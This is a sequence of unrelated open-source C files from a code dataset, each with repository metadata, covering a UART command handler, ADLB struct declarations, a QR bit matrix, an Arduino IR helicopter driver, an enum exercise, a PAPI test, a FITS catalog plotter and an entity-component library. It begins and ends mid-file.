/* DEBUG voor gebruikersinput, kan worden aangezet in main.h */
#ifdef DEBUG_USER_INPUT
UART_putint(gebruiker_input.command); UART_puts("\r");
UART_putint(gebruiker_input.msecs); UART_puts("\r");
#endif
/* wacht een aantal ms */
wacht(gebruiker_input.msecs);
break;
default:
/* print ERROR CODE */
UART_puts(ERROR02); UART_puts("\r");
}
}
| 2 | 2 |
2024-11-18T20:07:43.655922+00:00 | 2023-08-29T19:12:09 | 2ffbc0a97d34c66092320fc3187119fa2ce284eb | {
"blob_id": "2ffbc0a97d34c66092320fc3187119fa2ce284eb",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-29T19:12:09",
"content_id": "483c681d246fc0d432201159870d70a12aec56b8",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "7f49001b258dd1000e6d99e5a2ff595aadb58e53",
"extension": "h",
"filename": "data_structs.h",
"fork_events_count": 26,
"gha_created_at": "2014-06-11T11:57:09",
"gha_event_created_at": "2023-02-03T16:25:32",
"gha_language": "Java",
"gha_license_id": "Apache-2.0",
"github_id": 20723431,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4021,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/lb/code/src/data_structs.h",
"provenance": "stackv2-0020.json.gz:589",
"repo_name": "swift-lang/swift-t",
"revision_date": "2023-08-29T19:12:09",
"revision_id": "f343914960a236625fe923a76c96bd1bd80e6c9e",
"snapshot_id": "12d54d5e85c6c42d87243f4cec4fe925411f380c",
"src_encoding": "UTF-8",
"star_events_count": 61,
"url": "https://raw.githubusercontent.com/swift-lang/swift-t/f343914960a236625fe923a76c96bd1bd80e6c9e/lb/code/src/data_structs.h",
"visit_date": "2023-08-31T09:02:03.608202"
} | stackv2 | /*
Support for struct data type in ADLB
*/
#ifndef __XLB_DATA_STRUCTS_H
#define __XLB_DATA_STRUCTS_H
#include "adlb-defs.h"
#include "adlb_types.h"
#include "data.h"
#include "notifications.h"
/*
Type of a struct field.
Need extra type info because we might need to initialize the data
item, e.g. if a subscript of a field is assigned. If extra type
info is required to initialize the type, and it is not provided,
any operation that requires initializing the field will fail.
Currently the extra type info is only used to initialize fields:
it is not used to type-check assignments to fields.
*/
typedef struct {
bool initialized;
char *type_name;
int field_count;
char **field_names;
adlb_struct_field_type *field_types;
} xlb_struct_type_info;
adlb_data_code xlb_new_struct(adlb_struct_type type, adlb_struct **s);
// Free all memory allocated within this module
adlb_data_code xlb_struct_finalize(void);
// Return the name of a declared struct type
const char *xlb_struct_type_name(adlb_struct_type type);
// Return info about the struct type
// return: pointer to struct type info, valid until finalize called.
// NULL if invalid type
const xlb_struct_type_info *
xlb_get_struct_type_info(adlb_struct_type type);
// Free memory associated with struct, including the
// provided pointer if specified. If recurse specified, free
// struct fields too
adlb_data_code xlb_free_struct(adlb_struct *s, bool free_root_ptr,
bool recurse);
/**
* Search for subscript in struct, consuming as much of subscript as
* we can by traversing nested structs.
*
* In the case that we encounter an uninitialized inner struct, we
* return that field
*
* init_nested: if true, initialize inner structs on path
* field: field of struct located
* type: type info for field returned
* sub_pos: index of start of remainder of subscript
* return: ADLB_DATA_ERROR_SUBSCRIPT_NOT_FOUND if could not be found
*/
adlb_data_code xlb_struct_lookup(adlb_struct *s, adlb_subscript sub,
bool init_nested,
adlb_struct_field **field, adlb_struct_field_type *type,
size_t *sub_pos);
/*
* Get data for struct field.
* Returns error if field invalid.
* val: result if field is set, NULL if not yet set
* type: type of field (always set)
*/
adlb_data_code xlb_struct_get_field(adlb_struct *s, int field_ix,
const adlb_datum_storage **val, adlb_data_type *type);
adlb_data_code xlb_struct_get_subscript(adlb_struct *s, adlb_subscript subscript,
const adlb_datum_storage **val, adlb_data_type *type);
/*
* Check if a subscript of a struct is initialized.
* validate_path: if false, an invalid path may result in an error
* return code, or simply say that the subscript is not init
* if true, an invalid path always causes an error
*/
adlb_data_code xlb_struct_subscript_init(adlb_struct *s, adlb_subscript subscript,
bool validate_path, bool *b);
adlb_data_code xlb_struct_assign_field(adlb_struct_field *field,
adlb_struct_field_type field_type, const void *data, size_t length,
adlb_data_type data_type, adlb_refc refcounts);
adlb_data_code xlb_struct_set_field(adlb_struct *s, int field_ix,
const void *data, size_t length, adlb_data_type type,
adlb_refc refcounts);
/**
* Set struct field at subscript
* init_nested: if true, initialize inner structs on path
*/
adlb_data_code xlb_struct_set_subscript(adlb_struct *s,
adlb_subscript subscript, bool init_nested,
const void *data, size_t length, adlb_data_type type,
adlb_refc refcounts);
adlb_data_code
xlb_struct_cleanup(adlb_struct *s, bool free_mem, bool release_read,
bool release_write,
xlb_refc_acquire to_acquire,
xlb_refc_changes *refcs);
char *xlb_struct_repr(adlb_struct *s);
#endif // __XLB_DATA_STRUCTS_H
| 2.328125 | 2 |
2024-11-18T20:19:15.644488+00:00 | 2019-12-21T06:52:09 | c3fecad6acf3926374c79af6bcb0a815c0ebf75f | {
"blob_id": "c3fecad6acf3926374c79af6bcb0a815c0ebf75f",
"branch_name": "refs/heads/master",
"committer_date": "2019-12-21T06:52:09",
"content_id": "ee6328776420a26816e22b6f0f718b3610fbc9ae",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "4f0214e6aed47fe0e02cd7c9db1883c3d357da63",
"extension": "c",
"filename": "BitMatrix.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 176335585,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1728,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/c/BitMatrix.c",
"provenance": "stackv2-0020.json.gz:86116",
"repo_name": "trobol/waqc",
"revision_date": "2019-12-21T06:52:09",
"revision_id": "589a83c3ac36cceae00ed6542cf8acb5c62f00d7",
"snapshot_id": "4c4eaead2948bc7dd5f144f7cafd084593929330",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/trobol/waqc/589a83c3ac36cceae00ed6542cf8acb5c62f00d7/src/c/BitMatrix.c",
"visit_date": "2022-02-17T05:21:45.868638"
} | stackv2 | #include "BitMatrix.h"
#include "qrcode.h"
#define bitsMask 0x1f
#define logBits 5
void new_BitMatrix(struct BitMatrix *matrix, int dimension)
{
matrix->width = dimension;
matrix->height = dimension;
matrix->rowSize = dimension >> logBits;
if ((dimension & 0x1f) != 0)
{
matrix->rowSize++;
}
matrix->bitSize = matrix->rowSize * matrix->height;
matrix->bits = Memory_allocate(matrix->bitSize * SIZEOF_INT);
for (unsigned int i = 0; i < matrix->bitSize; i++)
{
matrix->bits[i] = 0;
}
}
void BitMatrix_set(struct BitMatrix *matrix, int x, int y)
{
unsigned int offset = y * matrix->rowSize + (x >> logBits);
matrix->bits[offset] |= 1 << (x & bitsMask);
}
bool BitMatrix_get(struct BitMatrix *matrix, int x, int y)
{
int offset = y * matrix->rowSize + (x >> logBits);
return ((((unsigned)matrix->bits[offset]) >> (x & bitsMask)) & 1) != 0;
}
void BitMatrix_flip(struct BitMatrix *matrix, int x, int y)
{
int offset = y * matrix->rowSize + (x >> logBits);
matrix->bits[offset] ^= 1 << (x & bitsMask);
}
void BitMatrix_setRegion(struct BitMatrix *matrix, int left, int top, int width, int height)
{
if (top < 0 || left < 0)
{
printf("Left and top must be nonnegative");
}
if (height < 1 || width < 1)
{
printf("Height and width must be at least 1");
}
int right = left + width;
int bottom = top + height;
if (bottom > matrix->height || right > matrix->width)
{
printf("The region must fit inside the matrix");
}
for (int y = top; y < bottom; y++)
{
int offset = y * matrix->rowSize;
for (int x = left; x < right; x++)
{
matrix->bits[offset + (x >> 5)] |= 1 << (x & 0x1f);
}
}
}
void delete_BitMatrix(struct BitMatrix *matrix)
{
Memory_delete(matrix->bitSize * SIZEOF_INT);
} | 3.015625 | 3 |
2024-11-18T20:19:16.019696+00:00 | 2015-06-21T09:43:31 | d5a4f7f2c4b5725249aef65be58a37eb23e02ca4 | {
"blob_id": "d5a4f7f2c4b5725249aef65be58a37eb23e02ca4",
"branch_name": "refs/heads/master",
"committer_date": "2015-06-21T09:43:31",
"content_id": "eda65b3326dd5563a7c3c1e01d3105c4b973e81d",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "7b6e2984c27a5f89145f146748054ea37b0b21b3",
"extension": "c",
"filename": "syma_driver.c",
"fork_events_count": 0,
"gha_created_at": "2015-06-21T09:38:14",
"gha_event_created_at": "2015-06-21T09:38:14",
"gha_language": null,
"gha_license_id": null,
"github_id": 37803781,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 8078,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/syma_driver.c",
"provenance": "stackv2-0020.json.gz:86630",
"repo_name": "themathgeek13/syma",
"revision_date": "2015-06-21T09:43:31",
"revision_id": "47ec86d62aff7350c4fc52213c9baac62695cd99",
"snapshot_id": "7eb9b6dbd743b74bc9bb28461d24b44f1972e934",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/themathgeek13/syma/47ec86d62aff7350c4fc52213c9baac62695cd99/syma_driver.c",
"visit_date": "2020-12-25T20:09:12.166206"
} | stackv2 | /*
*
* Arduino Sketch to communicate with the Syma S107 IR Helicopter.
* Author: Vivin Suresh Paliath
*
* This code has been adapted from the code available at the following URL:
*
* https://sites.google.com/site/spirixcode/code/kodek.txt?attredirects=0
*
* The original author is Jim Hamilton AKA "Aqualung", from the RCGroups.com message board.
*
* Polarities have been reversed from the original version and the code has been modified to be more readable. In
* addition, comments have been added.
*
* IR protocol is as follows:
*
* Yaw Pitch Throttle Trim
* Byte 1 Byte 2 Byte 3 Byte 4
* H 0YYYYYYY 0PPPPPPP CTTTTTTT 0AAAAAAA F
*
* H: Header
* Y: Yaw
* P: Pitch
* C: Channel
* T: Throttle
* A: Adjustment (Trim)
* F: Footer
*
*
* The transmitter sends a continuous stream of bits at a frequency of 38 KHz. When transmitting a byte, the
* transmitter starts with the most-significant bit.
*
* Header: 77 cycles from high to low (13us high, 13us low) giving a total of 2002us followed by 1998us low.
* Command: 12 cycles from high to low (13us high, 13us low) giving a total of 338us followed by 688us low for a 1 or
* 288us low for a 0. This is repeated for each bit (meaning, each bit is preceded by the 12 cycles).
* Footer: 12 cycles from high to low (13us high, 13us low) giving a total of 338us. This marks the end of one
* "packet".
*
*
* The main loop consumes data from a python script that will send data only when the arduino needs it. To tell the
* script that it needs data, the arduino sends a byte (READY_TO_ACCEPT_ACK) back through the serial channel. When
* the script sees this byte, it will send a packet of data. This way, we don't lose any data.
*/
/* Arduino pin #defines */
#define LED 8
#define STATUS 13
/*
* Human-readable names for the subscripts of the packet byte-array where each subscript represents a yaw byte,
* pitch byte, throttle byte, or a trim byte
*/
#define YAW 0
#define PITCH 1
#define THROTTLE 2
#define TRIM 3
/*
* A few useful #defines
*/
#define BYTES_IN_PACKET 4
#define BITS_IN_BYTE 8
#define PACKETS_PER_SECOND 10
#define MICROSECONDS_IN_A_SECOND 1000
/*
* Human-readable values for yaw, pitch, and trim
*/
#define ZERO_YAW 63
#define ZERO_PITCH 63
#define ZERO_THROTTLE 0
#define ZERO_TRIM 63
/*
* Human-readable names for various components of the signal, such as the number of cycles, and the duration of
* signals.
*/
#define CYCLES_FOR_HEADER 77
#define CYCLES_FOR_BIT 12
#define CYCLES_FOR_FOOTER 12
#define CYCLE_TIME 26
#define HEADER_DELAY 1998
#define ONE 688
#define ZERO 288
/*
* Masks for bits. These masks help us easily examine the value of a bit at a specific bit-position so that we can
* see if it is 0 or 1.
*
* For example, assume that we have the following bit pattern:
*
* Bits
* 76543210
* --------
* 10100101
*
*
* Let's say that we want to examine the bit at position 5. From visually inspecting the value, we can see that it
* is a 1. To get that specific value, we will need to AND the value with 32 (2 ^ 5), which in binary is 00100000:
*
* 1010 0101
* &
* 0010 0000
* ---------
* 0010 0000
* ^
* |
* +------------- The bit in position 5 is a 1.
*
*
* Similarly, let's say that we wanted to examine the bit at position 1. We will then need to AND the value with 2
* (2 ^ 1), which in binary is 00000010:
*
* 1010 0101
* &
* 0000 0010
* ---------
* 0000 0000
* ^
* |
* +-------- The bit in position 1 is a 0.
*
*/
#define BIT_0 1 // 2 ^ 0 = 1 = 0b00000001
#define BIT_1 2 // 2 ^ 1 = 2 = 0b00000010
#define BIT_2 4 // 2 ^ 2 = 4 = 0b00000100
#define BIT_3 8 // 2 ^ 3 = 8 = 0b00001000
#define BIT_4 16 // 2 ^ 4 = 16 = 0b00010000
#define BIT_5 32 // 2 ^ 5 = 32 = 0b00100000
#define BIT_6 64 // 2 ^ 6 = 64 = 0b01000000
#define BIT_7 128 // 2 ^ 7 = 128 = 0b10000000
/*
* The python program sends data close to twice as fast as the arduino can consume it. So let's tell the python program
* when we're ready to accept data. To do this, we'll send a byte across the serial channel that will let the script know
* that we're ready to accept data.
*/
#define READY_TO_ACCEPT_ACK 129
/* This array will hold data that we read in from the serial port */
byte command[4] = {ZERO_YAW, ZERO_PITCH, ZERO_THROTTLE, ZERO_TRIM};
void setup() {
Serial.begin(9600);
pinMode(STATUS, OUTPUT);
pinMode(LED, OUTPUT);
digitalWrite(STATUS, LOW);
digitalWrite(LED, LOW);
}
int sendPacket(byte yaw, byte pitch, byte throttle, byte trim) {
digitalWrite(STATUS, HIGH);
static int current_byte_index, current_bit_index, ones, zeroes;
static const byte bit_masks[] = {BIT_0, BIT_1, BIT_2, BIT_3, BIT_4, BIT_5, BIT_6, BIT_7};
static byte packet_bytes[4];
ones = 0;
zeroes = 0;
packet_bytes[YAW] = yaw;
packet_bytes[PITCH] = pitch;
packet_bytes[THROTTLE] = throttle;
packet_bytes[TRIM] = trim;
current_byte_index = 0;
current_bit_index = BITS_IN_BYTE - 1;
//Send the header
header();
//We will iterate over each byte in our packet
while(current_byte_index < BYTES_IN_PACKET) {
//Send the pulses that signify the start of a "bit"
pulse(CYCLES_FOR_BIT);
//Delay for the appropriate amount of time, depending on whether the bit in question is
//a 0 or a 1
if(packet_bytes[current_byte_index] & bit_masks[current_bit_index--]) {
one();
ones++;
} else {
zero();
zeroes++;
}
//If current_bit_index is lesser than zero, it means that we have sent all the bits for
//this byte. So, we need to reset current_bit_index and increment the value of
//current_byte_index
if(current_bit_index < 0) {
current_bit_index = BITS_IN_BYTE - 1;
current_byte_index++;
}
}
//Send the footer
footer();
digitalWrite(STATUS, LOW);
//We want to return the variable delay it takes to send 10 packets a second. 1 second is 1000ms.
//which means that each packet takes 100ms to send. Our packet will take nowhere near that time
//to send; it will fall short. So we just need to calculate the total time it takes to send the
//packet in microseconds and then subtract that value from 100ms, to get our variable delay
int header_time = (CYCLES_FOR_HEADER * CYCLE_TIME) + HEADER_DELAY;
int footer_time = (CYCLES_FOR_FOOTER * CYCLE_TIME);
int total_bit_start_time = ((CYCLES_FOR_BIT * CYCLE_TIME) * BITS_IN_BYTE) * BYTES_IN_PACKET;
int ones_time = ONE * ones;
int zeroes_time = ZERO * zeroes;
int total_packet_time = header_time + footer_time + total_bit_start_time + ones_time + zeroes_time;
return (MICROSECONDS_IN_A_SECOND / PACKETS_PER_SECOND) - ((float) total_packet_time / MICROSECONDS_IN_A_SECOND);
}
void header() {
pulse(CYCLES_FOR_HEADER);
delayMicroseconds(HEADER_DELAY);
}
void footer() {
pulse(CYCLES_FOR_FOOTER);
}
void pulse(int cycles) {
while(cycles > 0) {
digitalWrite(LED, HIGH); //This takes 3us
delayMicroseconds(10); //Wait 10us so that we have a high pulse that is 13us long
digitalWrite(LED, LOW); //This also takes 3us
delayMicroseconds(10); //Wait 10us so that we have a low pulse that is 13us long
cycles--;
}
}
void one() {
delayMicroseconds(ONE);
}
void zero() {
delayMicroseconds(ZERO);
}
void loop() {
while(1) {
/* If data is available in the serial channel, let's read it */
if(Serial.available() >= BYTES_IN_PACKET) {
for(int i = 0; i < 4; i++) {
command[i] = Serial.read();
}
}
/* Send data to the helicopter */
delay(sendPacket(command[YAW], command[PITCH], command[THROTTLE], command[TRIM]));
/* Let the python script know that we are ready to accept new data */
Serial.write(READY_TO_ACCEPT_ACK);
}
}
| 2.3125 | 2 |
2024-11-18T20:40:51.189144+00:00 | 2021-03-29T13:24:51 | b7d241429fcf318542555e3fedfbc112079f4574 | {
"blob_id": "b7d241429fcf318542555e3fedfbc112079f4574",
"branch_name": "refs/heads/main",
"committer_date": "2021-03-29T13:24:51",
"content_id": "c530ad5b6c0930e8d1e9df5b5c6599ba53840a4e",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "f74c2837174d18aec692b7c341dfd58d2ccc3549",
"extension": "c",
"filename": "main.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 347395631,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 954,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/3_22_2021/E1/main.c",
"provenance": "stackv2-0021.json.gz:15064",
"repo_name": "boran07/BLL1",
"revision_date": "2021-03-29T13:24:51",
"revision_id": "966471a19fcf0d857d6ca968e7814633fdceda89",
"snapshot_id": "2c91790812ff5e2d0f92f8c762f774f661a666df",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/boran07/BLL1/966471a19fcf0d857d6ca968e7814633fdceda89/3_22_2021/E1/main.c",
"visit_date": "2023-03-27T20:52:36.864539"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
//enum data tipi
enum hafta{ Pazartesi = 1 ,Sali , Carsamba , Persembe ,Cuma, Cumartesi,Pazar };
int main()
{
enum hafta bugun;
printf("Gun gir:");
scanf("%d",&bugun);
int yarin = bugun + 1;
printf("Gun: %d \n", bugun);
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
if(bugun == Pazar){
printf("yarin : Pazartesi \n");
}else if (bugun == Pazartesi){
printf("yarin : Sali \n");
}else if (bugun == Sali){
printf("yarin : Carsamba \n");
}else if (bugun == Carsamba){
printf("yarin : Persembe \n");
}else if (bugun == Persembe){
printf("yarin : Cuma \n");
}else if (bugun == Cuma){
printf("yarin : Cumartesi \n");
}else if (bugun == Cumartesi){
printf("yarin : Pazar \n");
}else{}
}
| 2.796875 | 3 |
2024-11-18T20:40:53.878186+00:00 | 2021-04-08T17:24:07 | 6f3472e0944499572103c50ea0f497f23ab79164 | {
"blob_id": "6f3472e0944499572103c50ea0f497f23ab79164",
"branch_name": "refs/heads/master",
"committer_date": "2021-04-08T17:24:07",
"content_id": "70ae24feb0d9879e63bb5f1d69e85834afcc3f7e",
"detected_licenses": [
"MIT",
"BSD-3-Clause"
],
"directory_id": "fe27d4417ec8d360caf766b4acd10f5eaaffc5db",
"extension": "c",
"filename": "disable_component.c",
"fork_events_count": 2,
"gha_created_at": "2017-11-06T17:14:59",
"gha_event_created_at": "2017-12-23T01:10:51",
"gha_language": "C",
"gha_license_id": null,
"github_id": 109725839,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2139,
"license": "MIT,BSD-3-Clause",
"license_type": "permissive",
"path": "/CCProf/PAPI/PAPI/src/ctests/disable_component.c",
"provenance": "stackv2-0021.json.gz:15320",
"repo_name": "proywm/CCProf",
"revision_date": "2021-04-08T17:24:07",
"revision_id": "20c43042142909dc782064e4250a5167767f7314",
"snapshot_id": "ce3f2ce972fbe16d18ed6d707acb0cc2f2a9dadd",
"src_encoding": "UTF-8",
"star_events_count": 26,
"url": "https://raw.githubusercontent.com/proywm/CCProf/20c43042142909dc782064e4250a5167767f7314/CCProf/PAPI/PAPI/src/ctests/disable_component.c",
"visit_date": "2021-05-07T13:54:39.449222"
} | stackv2 | /*
* File: disable_component.c
* Author: Vince Weaver
* [email protected]
*/
/*
This tests the functionality of PAPI_disable_component()
*/
#include "papi_test.h"
int
main( int argc, char **argv )
{
int retval;
const PAPI_component_info_t* cmpinfo;
int numcmp, cid, active_components=0;
/* Set TESTS_QUIET variable */
tests_quiet( argc, argv );
/* Disable All Compiled-in Components */
numcmp = PAPI_num_components( );
if (!TESTS_QUIET) printf("Compiled-in components:\n");
for( cid = 0; cid < numcmp; cid++ ) {
cmpinfo = PAPI_get_component_info( cid );
if (!TESTS_QUIET) {
printf( "Name: %-23s %s\n", cmpinfo->name, cmpinfo->description);
}
retval=PAPI_disable_component( cid );
if (retval!=PAPI_OK) {
test_fail(__FILE__,__LINE__,"Error disabling component",retval);
}
}
/* Initialize the library */
retval = PAPI_library_init( PAPI_VER_CURRENT );
if ( retval != PAPI_VER_CURRENT ) {
test_fail( __FILE__, __LINE__, "PAPI_library_init", retval );
}
/* Try to disable after init, should fail */
retval=PAPI_disable_component( 0 );
if (retval==PAPI_OK) {
test_fail( __FILE__, __LINE__, "PAPI_disable_component should fail",
retval );
}
if (!TESTS_QUIET) printf("\nAfter init components:\n");
for( cid = 0; cid < numcmp; cid++ ) {
cmpinfo = PAPI_get_component_info( cid );
if (!TESTS_QUIET) {
printf( "%d %d Name: %-23s %s\n",
cid,
PAPI_get_component_index((char *)cmpinfo->name),
cmpinfo->name ,cmpinfo->description);
}
if (cid!=PAPI_get_component_index((char *)cmpinfo->name)) {
test_fail( __FILE__, __LINE__, "PAPI_get_component_index mismatch",
2 );
}
if (cmpinfo->disabled) {
if (!TESTS_QUIET) {
printf(" \\-> Disabled: %s\n",cmpinfo->disabled_reason);
}
} else {
active_components++;
}
}
if (active_components>0) {
test_fail( __FILE__, __LINE__, "too many active components", retval );
}
test_pass( __FILE__, NULL, 0 );
return PAPI_OK;
}
| 2.65625 | 3 |
2024-11-18T18:36:19.123842+00:00 | 2023-08-11T17:19:13 | 627dd79cdd89c40b99b709ccaec73ab1a2e3aba7 | {
"blob_id": "627dd79cdd89c40b99b709ccaec73ab1a2e3aba7",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-11T17:19:13",
"content_id": "d7df64e27080fa937e0919de4fac92b89844b96c",
"detected_licenses": [
"MIT"
],
"directory_id": "382c5c64e7f179a345ad267806824099d7986d64",
"extension": "c",
"filename": "catplot.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 14975486,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4565,
"license": "MIT",
"license_type": "permissive",
"path": "/src/fitsplt/src/catplot.c",
"provenance": "stackv2-0021.json.gz:98845",
"repo_name": "cdfassnacht/CodeCDF",
"revision_date": "2023-08-11T17:19:13",
"revision_id": "d285c51fd53e52b77e8288ede3126b1f927ea0f1",
"snapshot_id": "e094089b2d704a96d25e2b9a701d986efff8f9c5",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/cdfassnacht/CodeCDF/d285c51fd53e52b77e8288ede3126b1f927ea0f1/src/fitsplt/src/catplot.c",
"visit_date": "2023-08-16T10:37:23.498236"
} | stackv2 | /* catplot.c
*
* Usage: catplot fitsfile xycatfile ([setup_filename])
*
* Description: Plots a FITS file as a greyscale plot and then marks
* the positions of the objects detected by SExtractor.
*
* To compile use the appropriate makefile in this directory.
*
* Revision history
* 29May2004 CDF, First working version
* 2008Jul16 CDF, Small modifications to incorporate new image reading
* and display-opening functions.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include "libfits.h"
#include "cpgplot.h"
#include "structdef.h"
#include "coords.h"
#include "dataio.h"
#include "fitsim.h"
#include "plotfuncs.h"
/*.......................................................................
*
* Main program
*
*/
int main(int argc, char *argv[])
{
int no_error=1; /* Flag set to 0 on error */
int usefile=0; /* Flag set to 1 to use input setup file */
int screenflag=1; /* Flag set to 0 for no screen output */
int fileflag=1; /* Flag set to 0 for no screen output */
int ncat; /* Number of catalog objects */
int another_loop=1; /* Flag set to 0 to stop loop */
char fitsfile[MAXC]; /* The name of the FITS file to load */
char catfile[MAXC]; /* The name of the SExtractor catalog file */
char setupfile[MAXC]; /* Name of the optional setup file */
char plotfile[MAXC]; /* Filename for postscript plot */
char plotdev[MAXC]; /* PGPLOT display device */
Image *image; /* The container of the FITS image array */
Setup *setup; /* Container for the image display info */
Secat *catdat=NULL; /* SExtractor catalog data */
/*
* Check the command line
*/
if(argc < 3) {
fprintf(stderr,"\ncatplot fitsfile xycatfile (setupfile)\n\n");
return 1;
}
/*
* Get the names of the files.
*/
strcpy(fitsfile,argv[1]);
strcpy(catfile,argv[2]);
if(argc == 4) {
usefile = 1;
strcpy(setupfile,argv[3]);
}
else
sprintf(setupfile,"");
/*
* Load the image and print out basic image information
*/
if(!(image = new_Image(fitsfile))) {
fprintf(stderr,"\n\nERROR: fitsplt. Could not read fits file %s\n\n",
fitsfile);
return 1;
}
if(load_image_data(image) == ERROR)
no_error = 0;
/*
* Create setup structure and fill with information used to set plotting
* parameters.
*/
if(no_error)
if(!(setup = fill_setup(image,setupfile,usefile,1)))
no_error = 0;
/*
* Loop over displaying image until happy with results
*/
if(no_error) {
open_plot_window();
if(display_image(image,setup))
no_error = 0;
else
while(no_error && another_loop) {
switch(another_loop = setup_menu(image,setup)) {
case 1:
if(display_image(image,setup))
no_error = 0;
break;
case 0:
break;
case -1:
no_error = 0;
break;
default:
break;
}
}
}
/*
* Read in SExtractor catalog file
*/
if(no_error)
if(!(catdat = read_secat(catfile,'#',&ncat,2)))
no_error = 0;
/*
* Plot the catalog
*/
if(no_error) {
printf("\nPlotting SExtractor catalog positions\n");
if(plot_secat(setup,catdat,ncat,2,3,2.0))
no_error = 0;
}
cpgend();
/*
* Now see if an output postscript or GIF file is desired.
* NB: postscript image automatically printed for DSS images.
*/
if(no_error) {
fileflag = get_plotname(image,setup,"postscript",plotfile);
if(fileflag) {
printf("\nWriting to file %s\n",plotfile);
sprintf(plotdev,"%s/vps",plotfile);
if(cpgbeg(0,plotdev,1,1) != 1)
no_error = 0;
if(no_error)
if(display_image(image,setup))
no_error = 0;
if(no_error)
if(plot_secat(setup,catdat,ncat,2,1,2.0))
no_error = 0;
cpgend();
}
}
if(no_error) {
fileflag = get_plotname(image,setup,"GIF",plotfile);
if(fileflag) {
printf("\nWriting to file %s\n",plotfile);
sprintf(plotdev,"%s/gif",plotfile);
if(cpgbeg(0,plotdev,1,1) != 1)
no_error = 0;
if(no_error)
if(display_image(image,setup))
no_error = 0;
if(no_error)
if(plot_secat(setup,catdat,ncat,2,3,2.0))
no_error = 0;
}
}
/*
* Clean up and exit
*/
cpgend();
image = del_Image(image);
setup = del_setup(setup);
catdat = del_secat(catdat);
if(no_error) {
printf("\nProgram catplot.c completed.\n\n");
return 0;
}
else {
fprintf(stderr,"\nERROR. Exiting catplot.c\n\n");
return 1;
}
}
int MAIN_(void)
{
return 0;
}
| 2.6875 | 3 |
2024-11-18T18:36:19.638444+00:00 | 2015-07-02T17:16:15 | 9e79cf72410714ab038f4d4ed2acebe002251e42 | {
"blob_id": "9e79cf72410714ab038f4d4ed2acebe002251e42",
"branch_name": "refs/heads/master",
"committer_date": "2015-07-02T17:16:15",
"content_id": "e9ac0dab263386a97beb809ccd68d38c819b3e6e",
"detected_licenses": [
"MIT"
],
"directory_id": "b1ea6f1b868e4e3de5833e6bbbdd6db2c082828f",
"extension": "c",
"filename": "de4.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 36991644,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4099,
"license": "MIT",
"license_type": "permissive",
"path": "/src/de4.c",
"provenance": "stackv2-0021.json.gz:98973",
"repo_name": "lowquark/de4",
"revision_date": "2015-07-02T17:16:15",
"revision_id": "f9704fbdd616d29120e0cb58e8d33a9c62541075",
"snapshot_id": "8136001fe0d9e870b04bdf711088e5decfd05689",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/lowquark/de4/f9704fbdd616d29120e0cb58e8d33a9c62541075/src/de4.c",
"visit_date": "2021-01-10T08:17:04.013762"
} | stackv2 |
#include <de4/de4.h>
#include "state.h"
#include "prop.h"
#include <stdlib.h>
#include <stdio.h>
#include <omp.h>
#define BADPROP(id) (id == DE4_BADID || !(id & PROP_VALID_FLAG))
#define BADENTITY(id) (id == DE4_BADID)
// looks up the id of the given named property
de4_Id de4_propertyid(de4_State * D, const char * name)
{
const de4_PropertyDef * def = prop_getdef(D, name);
if(def) return def->id;
return DE4_BADID;
}
de4_Id de4_defproperty(de4_State * D, de4_PropertyDef * p)
{
if(prop_getdef(D, p->name)) return DE4_BADID;
return prop_adddef(D, p);
}
de4_Id de4_defcoreproperty(de4_State * D, de4_PropertyDef * p)
{
if(prop_getdef(D, p->name)) return DE4_BADID;
return prop_addcoredef(D, p);
}
de4_Id de4_thisentity(de4_State * D)
{
return D->this_entity;
}
void * de4_thisproperty(de4_State * D)
{
return D->this_property;
}
void * de4_propertyi(de4_State * D, de4_Id id)
{
if(BADPROP(id))
return 0;
if(BADENTITY(D->this_entity))
return 0;
return prop_get(D, D->this_entity, id);
}
void * de4_addpropertyi(de4_State * D, de4_Id id)
{
if(BADPROP(id))
return 0;
if(BADENTITY(D->this_entity))
return 0;
/*
event_t event = {
.type = EVENT_ADDPROPERTY,
.addproperty = {
.id = id,
.eid = D->this_entity
}
};
vector_push(&D->events, event);
*/
void * existing = prop_get(D, D->this_entity, id);
if(!existing)
return prop_add(D, D->this_entity, id);
else
return existing;
}
void de4_removepropertyi(de4_State * D, de4_Id id)
{
if(BADPROP(id))
return;
if(BADENTITY(D->this_entity))
return;
prop_remove(D, D->this_entity, id);
}
/*
size_t de4_allpass(de4_State * D, de4_Function f)
{
size_t n = 0;
entity_t * e = D->entities;
for(de4_Id eid = 0 ; eid < D->entity_num ; ++ eid, ++ e)
{
